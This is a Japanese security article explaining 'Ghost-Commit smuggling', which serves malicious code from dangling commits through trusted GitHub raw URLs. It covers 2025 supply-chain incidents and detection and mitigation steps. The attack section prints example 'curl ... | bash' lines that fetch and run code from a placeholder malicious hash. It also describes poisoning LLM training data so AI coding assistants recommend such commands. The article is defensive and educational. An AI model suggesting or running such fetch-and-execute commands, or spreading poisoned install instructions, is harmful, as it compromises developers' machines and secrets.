Ghost-Commit密輸：デタッチドGitコミットの隠れ場所

はじめに：サプライチェーンの見えない脅威

現代のDevSecOps環境では、「Green Checkmark」を信頼するように教育されています。検証済みコミット署名、メインブランチの履歴、そしてgithub.com/facebook/reactやgithub.com/torvalds/linuxのような信頼できるリポジトリにホストされたコードは、そのガバナンスに従っていると信じています。

しかし、「Ghost-Commit Smuggling」と呼ばれる微妙ながら危険な攻撃ベクターは、この信頼を逆手に取ります。Gitの厳格なグラフ理論とGitHubの可用性重視のアーキテクチャの間のギャップを悪用し、攻撃者は正当な高評価リポジトリにマルウェアコードをホストしながら、それがプロジェクトの見える履歴（git log）に現れないように仕向けることが可能です。

この攻撃は、メンテナのアカウントを侵害したり、Pull Requestをマージしたりする必要はありません。「孤立」または「ダングリング」コミットの概念に依存しています。これはデータベース内に存在しているが、既に知っている場所にしか到達できないコードです。

この記事では、Ghost-Commit Smugglingの仕組み、その持続性の理由、スクリプトやAI生成ドキュメントでの武器化例、そしてこれらの脆弱性を悪用した最近の実例を詳しく解説します。

1. Ghost-Commit Smugglingとは何か？

Ghost-Commit Smugglingは、サプライチェーン攻撃の一種で、攻撃者がリポジトリ（フォークやアクセス権のあるブランチ）にコミットをプッシュし、その直後にそれを指すリファレンス（ブランチやタグ）を削除する手法です。

ブランチが消えても、コミットオブジェクト自体はリモートサーバーのデータベースに残ります。

攻撃シナリオ

インジェクション： 攻撃者は、feature/innocent-updateのような一時的なブランチにマルウェアコミット（例：暗号通貨マイナーやバックドアをインストールスクリプトに追加）をプッシュします。

難読化： その後、攻撃者はfeature/innocent-updateブランチを削除します。

永続化： コミットは「孤立」状態（ダングリング）となり、リポジトリのファイルツリーや履歴、検索結果には表示されません。

武器化： しかし、SHA-1ハッシュを直接指定すればアクセス可能です。攻撃者は次のような「有効」なURLを作成します：

curl -L https://raw.githubusercontent.com/trusted-org/repo/8f3a1b2c...[MALICIOUS_HASH]/install.sh | bash

配布： このURLはフォーラムやStackOverflowの回答、LLMの学習データに注入され、AIコーディングアシスタントが無警戒な開発者に提案します。

被害者はgithub.com/trusted-orgを指すURLを見て安全だと誤認し、リポジトリのデータベースの「闇の世界」に存在するコードを引き出していることに気づきません。

2. 技術的深掘り：なぜGhostコミットは持続するのか？

この脆弱性の存在理由を理解するには、Git（プロトコル）とGitHub/GitLab（プラットフォーム）の違いを見る必要があります。

Gitの内部構造：到達可能性と存在

Gitはコンテンツアドレス指定のファイルシステムです。コミットを作成すると、その内容のSHA-1ハッシュで識別される個別のオブジェクトとして.git/objectsディレクトリに保存されます。

リファレンス（Refs）： ブランチやタグは、特定のコミットのハッシュを保持する「ポインタ」（テキストファイル）です。

到達可能性： コミットは、mainのようなRefから始めて親をたどることで到達可能とみなされます。

git branch -D featureのようにブランチを削除しても、ポインタだけが削除されるだけで、実際のコミットオブジェクトやその参照するファイルのblobはディスクに残ります。ローカル環境では、これらは最終的にガーベジコレクション（GC）によってクリーンアップされます。

クラウドの永続性の問題

GitHubやGitLabのようなプラットフォームは、パフォーマンスやリカバリのために異なる動作をします。

遅延ガーベジコレクション： git gcの実行は計算コストが高いため、プッシュやブランチ削除後すぐにGCは実行されません。彼らは「ヒューリスティカルなメンテナンス」に頼っています。孤立したオブジェクトは、リポジトリのサイズや活動状況に応じて数週間、数ヶ月、あるいは無期限に残ることがあります。

キャッシュビューのジレンマ： ウェブブラウジングを高速化するために、これらのプラットフォームはコミットビューをキャッシュします。技術的には削除対象のオブジェクトでも、ハッシュでリクエストされると内容を提供し続けることがあります。

フォークプール： GitHubでは、リポジトリのフォークはバックエンドの共通「オブジェクトプール」を共有し、ストレージを節約します。もしフォークのどれかがコミットを参照していれば、親リポジトリのURLからもアクセス可能な場合があります。これにより、攻撃者は悪意のあるコードが上流のメンテナにホストされているかのように見せかけることができます。

最近の調査：”Oops Commits”調査（2025年）

2025年9月、セキュリティ研究者のSharon Brizinovは、Truffle Securityと共同で、GitHubの”oops commits”—force-pushedや削除されたコミットが無期限にアーカイブされ続ける現象を調査し、数千の秘密情報を発見しました。

この調査では、GitHubが2020年以降のすべてのダングリングコミットをスキャンし、秘密情報（例：GitHubの個人アクセストークンやAWS資格情報）を特定し、約2万5千ドルのバグバウンティ報酬につながった事例も明らかになっています。

主な発見点：

MongoDBの資格情報やAPIトークンなど、多数の秘密情報が.envや一般的な設定ファイルに存在
GitHubのForce Pushスキャナーが孤立コミットを特定・スキャンするツールを開発
削除されたはずのコミットが無期限にアクセス可能なケースが多い
“一度リポジトリから離れたコミットは完全に削除できない”ことの証明

特に注目された例は、KubernetesのサービスメッシュプラットフォームであるIstioのプロジェクトで、孤立したコミットに管理者レベルのアクセス・トークンが含まれていたケースです。GitHubに保存されたままのコミットから攻撃者が取得し、資格情報の全容を明らかにしました。

3. 武器化ベクター：”curl | bash”とAI Poisoning

最も一般的な悪用方法はインストールスクリプトです。多くの現代開発者ツールは次のようにインストールされます：

curl -fsSL https://github.com/user/project/raw/main/install.sh | bash

セキュリティ意識の高い開発者は、install.shをメインブランチで検査しますが、攻撃者はこのURLにGhostコミットのハッシュを忍ばせます：

# 正規に見える：ドメインとリポジトリは正しい
curl -fsSL https://github.com/user/project/raw/5d8e1f...[GHOST_HASH]/install.sh | bash

AIの幻覚と毒性増幅

この攻撃ベクターは、Generative AIの台頭とともに緊急性を増しています。

学習データの Poisoning： 攻撃者はフォーラムや公開データセットに、「セットアップガイド」としてこれらのGhostハッシュを埋め込みます。

幻覚： LLMは正しそうなコードスニペットを生成しますが、特定の古いハッシュや幻覚的なハッシュを使うことがあります。ハッシュの衝突（SHA-1では非常に難しいが理論上可能）や予測によって、AIが生成するリンクに悪意のあるハッシュを仕込むことも可能です。

結果： 開発者がChatGPTやCopilotに「ツールXのインストール方法は？」と尋ねると、AIは有効に見えるコマンドと特定のハッシュを返します。そのハッシュがGhostコミットを指している場合（偶然または悪意の仕込み）、未検査のコードを実行してしまいます。

実世界の攻撃例：2025-2026年のサプライチェーン攻撃

Ghostコミットの理論的脅威は、2025年から2026年にかけて実際の攻撃に発展しています：

GhostActionキャンペーン（2025年9月）

GitGuardianは、327のGitHubユーザと817リポジトリに影響した大規模なサプライチェーン攻撃を発見。攻撃者は悪意のあるワークフローを注入し、3,325の秘密情報（PyPI、npm、DockerHubのトークンなど）をHTTP POSTリクエストで外部に送信しました。

攻撃の流れは： - GitHubアカウントの乗っ取り - 正規のワークフローファイルを分析し、秘密情報を特定 - “Github Actions Security”に偽装した悪意のあるワークフローを注入 - CI/CD環境から秘密情報を抽出し、攻撃者のエンドポイントに送信

2025年9月の第二波では、約500の新しいコミットが類似の悪意のあるペイロードとともにプッシュされ、以前に侵害されたリポジトリをターゲットにしました。

tj-actions/changed-filesの侵害（2025年3月）

広く使われているtj-actions/changed-files GitHub Actionが攻撃され、23,000以上のリポジトリに影響を与えました。攻撃者は過去のバージョンタグを改ざんし、悪意のあるコミットを参照させ、CI/CDの秘密情報を露出させました。

攻撃内容は： - 悪意のあるPythonスクリプトを実行させるようにGitHub Actionを改ざん - Runnerのメモリから秘密情報を抽出 - GitHub Actionsのログに秘密情報を出力し、公開リポジトリのログからアクセス可能に

この脆弱性は2025年3月14日から15日の間に活動し、CVE-2025-30066として追跡されました。

Shai-Hulud 2.0：感染拡大型サプライチェーン攻撃（2025年11月）

最も高度な攻撃は、2025年11月のShai-Hulud 2.0で、約796のnpmパッケージに感染し、週あたり数千万回のダウンロードを記録しました。

攻撃の特徴は： - 自己複製ワーム機能により依存パッケージに自動感染 - 資格情報収集：npmトークン、GitHub資格情報、AWSキー、クラウドシークレットを大量に収集 - 破壊的な”死者のスイッチ”：開発環境全体を消去可能 - preinstallライフサイクルスクリプトの悪用：インストール前に悪意のあるコードを実行

このマルウェアは、正規のコマンドのように見せかけてBun JavaScriptランタイムをインストールする例もあります：

curl -fsSL https://bun.sh/install | bash

実行後、TruffleHogやAzure CLIを使って資格情報を収集し、”Shai-Hulud”を参照した説明付きの公開リポジトリにデータを送信しました。

注目すべき特徴： - 被害者間の情報漏洩：一つの被害者からの秘密情報が他のリポジトリに流出 - 25,000以上のリポジトリが感染 - 2025年9月の第一波で187パッケージを侵害し、約5000万ドルの暗号通貨を盗取 - AI生成のマルウェアコード（研究者は、LLMがbashスクリプトを生成したと中程度の確信を持って評価）

CVE-2025-48384：Git RCE脆弱性（2025年7月）

2025年7月、Gitの重大な脆弱性が公開され、git commitやgit mergeなどのサブコマンド実行時にリモートコード実行を引き起こす悪意のあるGitフックスクリプトを書き込めるようになりました。

攻撃者は、サブモジュールのパスがキャリッジリターンで終わる.gitmodulesファイルを作成し、Gitの設定パーサの挙動によりこの文字が読み取り時に除去されても書き込み時に保持され、悪意のあるリダイレクトを可能にします。

2025年9月までにCISAはこの脆弱性をKnown Exploited Vulnerabilities（KEV）に登録し、実際に悪用された事例も確認されています。

4. 実世界の影響とリスク

1. コードレビューの回避

コミットがダングリング状態のため、「コミット」一覧やリポジトリの「ネットワーク」グラフには表示されません。セキュリティ監査は見逃します。コードは盲点に存在します。

2. 不変の悪意

特定のハッシュを使ったスクリプトを一度使用すると、そのバージョンに「ピン留め」されます。メンテナが脆弱性を修正しても、コミットハッシュは不変です。CI/CDパイプラインがそのハッシュをハードコーディングしている場合、永遠に侵害されたままです。

3. 永続的な秘密漏洩

この仕組みは、「ブランチ削除」だけでは資格情報漏洩を防げない理由でもあります。APIキーをコミットし、その後ブランチを削除しても、スキャンボットは既にハッシュをアーカイブしています。raw URLから無期限にアクセス可能です。

GitHubは明言しています：秘密情報は、プライベートからパブリックに変わったり、force pushで削除されても、漏洩した情報は基本的に永続的に存在します。

4. クロスフォークのオブジェクト参照

2025年のTruffle Securityの調査では、フォークのコミットは親リポジトリの共有オブジェクトプールを通じてアクセス可能であることが判明。攻撃者は悪意のあるコードをフォークにプッシュし、それを上流のリポジトリURLからアクセスさせることができ、正規のコードのように見せかけることが可能です。

5. 検出と対策

見えない敵にどう立ち向かうか？

リポジトリ管理者向け

1. 積極的なガーベジコレクション（セルフホスト版）

GitLab Self-ManagedやGitHub Enterprise Serverを運用している場合、積極的なメンテナンスポリシーを設定できます。

GitLab: git gcを頻繁に実行し、到達不能オブジェクトを早期に除去（gc.pruneExpire）
GitHub: 手動でGCをトリガーできません。敏感なデータや悪意のあるハッシュの即時除去にはGitHub Supportに連絡します。

2. `git fsck`コマンド

ローカルクローンや管理しているサーバーで孤立コミットを見つけるには：

git fsck --lost-found

これにより、「ダングリングコミット」のリストが表示されます。検査は難しいため、サーバー側のアクセス権限が必要です。

すぐにガーベジコレクションを実行し、すべての到達不能オブジェクトを除去するには：

git gc --prune=now

これにより、2週間の安全期間を無視して、すべてのダングリングコミットが削除されます。

3. フォークの制限（極端な措置）

高セキュリティ環境では、フォークを制限することで「オブジェクトプール」の共有を防ぎ、フォークにプッシュされたコミットが組織のリポジトリURLからアクセスされるのを防ぎます。

4. Force Pushイベントの監視

Truffle Securityが開発し2025年にオープンソース化したForce Push Scannerなどのツールを使い： - GitHub組織やユーザアカウント内の孤立コミットを特定 - GH ArchiveのデータセットをBigQueryで分析 - TruffleHogで秘密情報や脆弱性をスキャン

5. GitHubのセキュリティ機能を活用

Push Protection: 多くの組織でデフォルト有効化済み。秘密情報のプッシュを防止（ただし悪意のあるロジックは未検出）
Secret Scanning: 流出した資格情報を自動検出
ブランチ保護ルール: ワークフロー変更にレビューを要求

開発者・ユーザ向け（重要）

1. “Main Only”ルール

絶対にcurl | bashコマンドを実行する前に、そのコミットハッシュ（/raw/<SHA1>/）を確認してください。リポジトリの履歴内でそのコミットを検査し、信頼できるか判断します。

安全な例: curl .../raw/main/install.sh（最新バージョンを信頼）
安全な例: curl .../raw/v1.0.2/install.sh（特定タグを信頼）
危険な例: curl .../raw/a1b2c3d4.../install.sh（静的ハッシュに盲信）

2. コミット到達可能性の検証

特定のハッシュを使う必要がある場合、そのハッシュがメイン履歴に含まれているか確認：

git branch -r --contains <HASH>

何も返さなければ、そのコミットはダングリングです。使用しないでください。

3. タグでピン留め、ハッシュではなく

CI/CDパイプラインのバージョン管理には、署名付きタグ（例：v1.2.0）を使用し、可能な限りハッシュではなくタグでピン留めしてください。ハッシュを使う場合は、そのハッシュが既知のタグの先端であることを確認します。

4. 依存関係の監査

定期的に確認： - セットアップスクリプトやインストールコマンド - CI/CD設定 - コード内のrawコミットハッシュの参照

rawコミットハッシュを見つけたら調査し、git branch --containsが空なら、ゴーストの可能性があります。

5. セキュリティスキャンツールの導入

秘密情報の漏洩を検知するツールを導入： - TruffleHog: リポジトリ内の秘密情報をスキャン - GitGuardian: リアルタイムで漏洩を監視 - GitHub Advanced Security: 秘密スキャンとコードスキャンを提供

6. 侵害された資格情報の即時取り消し

秘密情報を誤ってコミットした場合： - 既に漏洩していると仮定し、すぐに資格情報を取り消し・ローテーション - ブランチ削除やforce pushに頼らず、資格情報の漏洩を防ぐ - GitHub ArchiveやGH Archiveを確認し、漏洩の証拠を探す - 緊急対応としてGitHub Supportに連絡し、リポジトリのクリーニングを依頼 - 秘密管理ツール（HashiCorp Vault、AWS Secrets Manager、Azure Key Vault）を導入 - 自動ローテーションを設定

7. CI/CDのライフサイクルスクリプト制限

Shai-Hulud攻撃の例から、npmのpreinstallやpostinstallフックの危険性が明らかです： - ライフサイクルスクリプトの無効化または制限 - ビルドシステムからのアウトバウンドネットワークアクセスを信頼できるドメインに限定 - 一時的なスコープ付きトークンの使用 - フィッシング耐性のある多要素認証の導入

6. 2025-2026年のプラットフォームの現状

2026年初頭の現状では、GitHubやGitLabは一部対策を導入していますが、根本的な動作はアーキテクチャの現実として残っています。

GitHubの対策

Push Protection: 多くの組織でデフォルト有効化済み。秘密情報のプッシュを防止しますが、ダングリングコミット内の悪意のあるロジックまでは検出できません。

コミット警告: GitHubは、「このコミットはどのブランチにも属さず、フォークの可能性があります」と警告を表示します。この警告を無視しないでください。

保持ポリシー: GitHubは不要なオブジェクトは最終的にガーベジコレクションしますが、「最終的に」という表現に保証はありません。実証実験では90日以上残ることもあります。

高度なセキュリティ機能: - 依存関係のレビュー - 秘密スキャンのアラート - CodeQLによるコードスキャン - サプライチェーンのセキュリティインサイト

業界の対応

セキュリティコミュニティは、脅威の高まりに対応しています：

CISA KEVカタログ: 米国サイバーセキュリティ・インフラストラクチャ庁（CISA）は、いくつかのGit関連の脆弱性をKnown Exploited Vulnerabilitiesに登録し、連邦機関に対策を求めています。

npmのセキュリティ変更: Shai-Hulud攻撃を受けて、2025年11月にnpmはクラシックトークンの廃止を発表し、より安全なトークンへの移行を促進しています。

意識の高まり: Microsoft、Palo Alto Networks、Wiz、GitGuardian、Trend Microなどの主要セキュリティベンダーは、サプライチェーン攻撃に関する詳細な分析と検出ガイドを公開しています。

7. 2025年のサプライチェーンセキュリティ危機の全体像

Ghost commitの脆弱性は、2025年を席巻したサプライチェーンセキュリティの課題の一端です：

注目の攻撃パターン

開発者ターゲティング: 北朝鮮のアクターによる偽の面接やnpmサポートを偽装したフィッシングなど、巧妙な社会工学攻撃。

CI/CDの改ざん: GitHub ActionsやGitLab CIを標的とした攻撃が増加し、秘密情報の窃取やマルウェアの注入が行われています。

AIを用いた攻撃: LLMを使った高度なマルウェアやエクスプロイトスクリプトの生成例もあり、S1ngularityキャンペーンではAI CLIツール（Claude、Gemini、Amazon Q）を兵器化しています。

自己複製型マルウェア: 依存関係ツリーを自動感染するサプライチェーン攻撃も観測されています（例：Shai-Hulud）。

被害者横断の情報漏洩: 攻撃者は被害者のインフラ（公開GitHubリポジトリ）を使って資格情報を漏洩・保存し、追跡を困難にしています。

2025年の主要サプライチェーン事件のタイムライン

1月: Operation 99（Lazarus Group）Web3開発者を標的
3月: CVE-2025-30066（tj-actions/changed-filesの侵害）
5月: maliciousなrand-user-agentリリース
7月: CVE-2025-48384（Git RCE脆弱性）
8月: Nxパッケージの侵害（S1ngularityキャンペーン）
9月:
- GhostActionキャンペーン（817リポジトリ、3,325秘密情報漏洩）
- Shai-Hulud 1.0（187パッケージ、約5000万ドルの暗号通貨盗難）
- Sharon Brizinovの”Oops Commits”調査公開
11月:
- Shai-Hulud 2.0（796パッケージ、25,000+リポジトリ）
- GitLab、npmのサプライチェーン攻撃を発見
12月: React Server Componentsの脆弱性が悪用（CVE-2025-55182）

結論

“Ghost-Commit”はバグではなく、分散型バージョン管理とクラウドストレージの現実が衝突した結果の機能です。過去が現在を追いかけてきます。

攻撃者にとっては、正規ドメイン、有効なSSL証明書、監査ログのゼロ可視性という完璧な隠れ場所です。開発者にとっては、「アイデンティティは完全性ではない」という厳しい教訓です。github.com/microsoftやgithub.com/googleから提供されるファイルでも、ダングリングハッシュ経由では、その組織の承認を得ているわけではありません。

2025年の出来事は、サプライチェーン攻撃がもはや理論上の話ではなく、実際に産業界に数億ドルの損失と何千もの組織の侵害をもたらす進化した脅威であることを証明しました。いくつかの要因の収束により、特に危険性が高まっています：

クラウドベースGitプラットフォームの永続オブジェクトストレージ
curl | bashインストールパターンの広範な使用
AIシステムの幻覚や毒化
マルウェア生成にAIを活用する高度な攻撃者
リポジトリURLやパッケージエコシステムへの開発者の信頼

実践的な対策

今すぐ設定スクリプトとCI/CDパイプラインを監査しましょう。 rawコミットハッシュを見つけたら調査し、git branch --containsが空なら、ゴーストの可能性があります。多層防御を実施しましょう：

コミットハッシュからのコード実行は絶対に避ける
コミット到達可能性を常に検証
署名付きタグを使ったバージョン管理
秘密情報のスキャンとローテーション
CI/CDのライフサイクルスクリプト制限
不正なリポジトリ活動の監視
フィッシング耐性の多要素認証
いかなるコミット秘密も永続的に危険とみなす

サプライチェーンのセキュリティは根本的に変化しています。組織は、開発者環境、CI/CDパイプライン、依存関係管理にこれまで以上のセキュリティを適用すべきです。リポジトリに潜むゴーストコミットは、多層防御の一端にすぎません。

よくある質問（FAQ）

Q: ゴーストコミットは自分で削除できますか？

A: github.comでは基本的に不可です。ブランチを削除しても、コミットは「孤立」状態になり、アクセス可能なままです。完全に削除するには、GitHub Supportに連絡してリポジトリのGCとキャッシュクリアを依頼する必要があります。たとえ削除しても、フォークやアーカイブサービスにより永続化される場合があります。

Q: プライベートリポジトリに影響しますか？

A: はい。書き込み権限を持つ攻撃者や協力者がゴーストコミットをプッシュでき、後に公開された場合やハッシュが漏洩した場合、コードはアクセス可能です。研究によると、プライベートリポジトリをオープンソース化すると、ダングリングコミットも公開リポジトリに引き継がれる可能性があります。

Q: git reset --hardだけでローカルのゴーストコミットは削除できますか？

A: ローカルではgit resetでブランチポインタを動かせますが、コミットは.gitフォルダに残ります。git gc --prune=nowを実行しない限り、削除されません。リモートにプッシュした場合、リモートサーバのガーベジコレクションポリシーに従います。

Q: GitHub上のゴーストコミットはどれくらい持続しますか？

A: GitHubの公式ポリシーでは、到達不能なオブジェクトは最終的にガーベジコレクションされるとしていますが、具体的な期間は不明です。実証実験では90日以上残ることもあり、フォークネットワークの一部であれば何年もアクセス可能です。実質的には、「手動の介入まで永続」と考えるべきです。

Q: プライベートリポジトリを安全にオープンソース化できますか？

A: ただ公開設定を変えるだけでは不十分です。Truffle Securityは、新しいパブリックリポジトリを作成し、必要なコードだけをコピーすることを推奨しています：

# バックアップを確保
cd <repo>
rm -rf .git
git init
git add .
git commit -m "initial commit"
git branch -M main
git remote add origin https://github.com/<user>/<new-repo>.git
git push -u origin main

これにより、ダングリングコミットや履歴、秘密情報の漏洩を防止できます。

Q: うっかり秘密をコミットした場合はどうすれば？

A: 既に漏洩していると仮定し、次の対応を行います：

資格情報を即座に取り消し・ローテーション
ブランチ削除やforce pushだけに頼らず、漏洩を防ぐ
GitHub ArchiveやGH Archiveを確認し、漏洩の証拠を探す
緊急対応としてGitHub Supportに連絡
秘密管理ツールを導入
自動ローテーションを設定

Q: AIコーディングアシスタントはこれを悪化させますか？

A: はい。研究によると： - LLMは特定のコミットハッシュを幻覚的に生成 - 攻撃者はトレーニングデータに悪意のあるコマンドを仕込む - AIツールは古いまたは危険なパッケージバージョンを提案 - 開発者はAI生成コードを検証せずに信頼しやすい

S1ngularityキャンペーンでは、AI CLIツールを兵器化し、AIが攻撃の一端を担う例もあります。

Q: 組織を守るにはどうすれば？

包括的な防御戦略を実施しましょう：

予防: - フィッシング耐性の多要素認証 - ブランチ保護ルール - 秘密スキャンとプッシュ保護 - 開発者教育 - 依存関係の管理

検知: - Force pushや孤立コミットの監視 - Force Push ScannerやTruffleHogの利用 - SIEMアラート設定 - CI/CD設定の定期監査 - リポジトリ作成の監視

対応: - インシデント対応計画の策定 - オフラインバックアップ - セキュリティベンダーとの連携 - 資格情報のローテーション - SBOMの整備

Q: これはGitHubだけの問題ですか？

A: いいえ。GitLabやBitbucketなど他のGitホスティングプラットフォームでも類似の挙動があります。根本的な問題は、分散型バージョン管理とクラウドストレージの相互作用にあります。ただし、GitHubのオープンソースエコシステムでの支配的地位とフォーク共有アーキテクチャが、特に標的になりやすい理由です。

免責事項：本記事は教育目的のみです。攻撃ベクトルの理解は、ソフトウェアサプライチェーンのセキュリティ向上に役立ちます。記載の技術は、正当なセキュリティ研究や防御のためにのみ使用してください。システムに対するテストは、必ず適切な許可を得て行ってください。

著者について：本記事は、複数のセキュリティ企業や研究者の調査結果をもとにしています。GitGuardian、Truffle Security、Sharon Brizinov、Microsoft Security、Palo Alto Networks、Wiz、GitGuardian、Trend Microなどの貢献に感謝します。

最終更新日：2026年2月10日